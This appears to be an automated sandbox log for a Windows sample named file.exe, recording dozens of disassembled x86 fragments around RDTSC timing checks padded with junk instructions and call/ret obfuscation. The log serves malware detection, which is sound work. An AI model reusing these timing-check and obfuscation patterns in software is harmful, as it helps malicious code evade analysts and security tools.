Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500108 second address: 50010E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501E10 second address: 501E15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501E15 second address: 501E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB12C89D956h 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FB12C89D964h 0x00000015 jmp 00007FB12C89D963h 0x0000001a push esi 0x0000001b pop esi 0x0000001c popad 0x0000001d pushad 0x0000001e push esi 0x0000001f pop esi 0x00000020 jmp 00007FB12C89D95Eh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503212 second address: 503218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503218 second address: 50321D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50321D second address: 503227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FB12C899C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503227 second address: 503246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB12C89D964h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5054D5 second address: 505579 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB12C899C48h 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FB12C899C38h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 stc 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007FB12C899C38h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d push 00000000h 0x0000004f mov edi, 78BF1E32h 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push esi 0x00000057 jmp 00007FB12C899C3Dh 0x0000005c pop esi 0x0000005d pop eax 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FB12C899C3Ch 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505579 second address: 505592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C89D965h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50665A second address: 50665E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50665E second address: 506670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506670 second address: 50667F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C899C3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50667F second address: 5066ED instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FB12C89D958h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 sbb di, A142h 0x0000002c mov bl, 75h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007FB12C89D958h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a mov ebx, dword ptr [ebp+122D2D4Dh] 0x00000050 push 00000000h 0x00000052 and ebx, 7B8C59DBh 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push ebx 0x0000005e pop ebx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5066ED second address: 5066F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5066F1 second address: 5066F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5066F7 second address: 5066FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5066FC second address: 506702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506702 second address: 506713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FB12C899C36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507708 second address: 50770C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50770C second address: 507712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50696B second address: 506998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C89D966h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FB12C89D95Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506998 second address: 50699E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509828 second address: 5098E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jc 00007FB12C89D956h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FB12C89D95Dh 0x00000016 jc 00007FB12C89D956h 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007FB12C89D969h 0x00000023 jmp 00007FB12C89D965h 0x00000028 popad 0x00000029 popad 0x0000002a nop 0x0000002b mov di, 1CF1h 0x0000002f mov dword ptr [ebp+122D18ACh], esi 0x00000035 push 00000000h 0x00000037 stc 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FB12C89D958h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 xchg eax, esi 0x00000055 push edx 0x00000056 jmp 00007FB12C89D962h 0x0000005b pop edx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FB12C89D966h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A803 second address: 50A807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A807 second address: 50A895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jne 00007FB12C89D96Eh 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1D9Bh], esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FB12C89D958h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 jc 00007FB12C89D960h 0x00000037 pushad 0x00000038 push eax 0x00000039 pop eax 0x0000003a or dword ptr [ebp+1244F730h], ebx 0x00000040 popad 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 call 00007FB12C89D958h 0x0000004b pop eax 0x0000004c mov dword ptr [esp+04h], eax 0x00000050 add dword ptr [esp+04h], 0000001Ch 0x00000058 inc eax 0x00000059 push eax 0x0000005a ret 0x0000005b pop eax 0x0000005c ret 0x0000005d mov ebx, dword ptr [ebp+122D3052h] 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push edi 0x00000067 pushad 0x00000068 popad 0x00000069 pop edi 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A895 second address: 50A89A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509AE6 second address: 509AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509AEA second address: 509AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B818 second address: 50B835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D965h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B835 second address: 50B839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F8AE second address: 50F8B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F8B2 second address: 50F8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF9C8 second address: 4BF9CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FE0B second address: 50FEB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push esi 0x0000000c js 00007FB12C899C38h 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007FB12C899C38h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 sub ebx, dword ptr [ebp+122D18A2h] 0x00000036 push 00000000h 0x00000038 call 00007FB12C899C40h 0x0000003d pop edi 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 call 00007FB12C899C38h 0x00000048 pop eax 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d add dword ptr [esp+04h], 0000001Ch 0x00000055 inc eax 0x00000056 push eax 0x00000057 ret 0x00000058 pop eax 0x00000059 ret 0x0000005a pushad 0x0000005b sub ecx, dword ptr [ebp+122D2DC9h] 0x00000061 mov dword ptr [ebp+1247CC91h], edx 0x00000067 popad 0x00000068 xchg eax, esi 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FB12C899C49h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D9A2 second address: 50D9A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D9A6 second address: 50D9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B98E second address: 50B997 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512F88 second address: 51300F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FB12C899C45h 0x00000010 nop 0x00000011 mov bx, F7DFh 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FB12C899C38h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jbe 00007FB12C899C43h 0x00000037 pushad 0x00000038 mov ebx, dword ptr [ebp+122D2A78h] 0x0000003e mov edi, 049BD3BBh 0x00000043 popad 0x00000044 call 00007FB12C899C42h 0x00000049 mov ebx, dword ptr [ebp+122D2E45h] 0x0000004f pop edi 0x00000050 push 00000000h 0x00000052 push edi 0x00000053 pop ebx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB12C899C3Eh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510156 second address: 51015A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514113 second address: 514119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514119 second address: 51411D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512247 second address: 51224D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51224D second address: 512257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB12C89D956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513222 second address: 513228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513228 second address: 513241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C89D965h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D000 second address: 51D006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D006 second address: 51D019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007FB12C89D95Eh 0x0000000b jnp 00007FB12C89D956h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D019 second address: 51D01E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D303 second address: 51D307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D307 second address: 51D30D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523C72 second address: 523C87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB12C89D95Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5245FD second address: 52462E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB12C899C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jp 00007FB12C899C3Ch 0x00000016 push edi 0x00000017 jp 00007FB12C899C36h 0x0000001d pop edi 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 je 00007FB12C899C4Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52462E second address: 524632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524632 second address: 524649 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52471E second address: 52473F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D966h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52473F second address: 52478C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FB12C899C36h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FB12C899C45h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a push esi 0x0000001b jmp 00007FB12C899C3Eh 0x00000020 pop esi 0x00000021 push esi 0x00000022 push edi 0x00000023 pop edi 0x00000024 pop esi 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a jbe 00007FB12C899C40h 0x00000030 push eax 0x00000031 push edx 0x00000032 push esi 0x00000033 pop esi 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B43E second address: 52B448 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB12C89D956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B448 second address: 52B456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FB12C899C42h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B456 second address: 52B460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB12C89D956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B460 second address: 52B492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FB12C899C43h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jp 00007FB12C899C36h 0x00000018 jmp 00007FB12C899C3Ah 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AB4F second address: 52AB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AB59 second address: 52AB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AB5E second address: 52AB74 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB12C89D95Eh 0x00000008 je 00007FB12C89D956h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AE4A second address: 52AE68 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB12C899C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB12C899C44h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AE68 second address: 52AE6D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B158 second address: 52B189 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB12C899C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB12C899C3Ch 0x0000000f ja 00007FB12C899C57h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB12C899C43h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B2E2 second address: 52B2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B2E6 second address: 52B2EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B2EA second address: 52B30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB12C89D956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007FB12C89D95Eh 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FB18 second address: 52FB30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C899C44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FB30 second address: 52FB41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FB12C89D956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535165 second address: 53516A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53516A second address: 535191 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB12C89D958h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB12C89D969h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535191 second address: 53519B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB12C899C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53519B second address: 53519F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534199 second address: 53419F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53419F second address: 5341A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534495 second address: 5344AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007FB12C899C36h 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5344AB second address: 5344B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5344B1 second address: 5344B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5344B5 second address: 5344BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5344BE second address: 5344C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
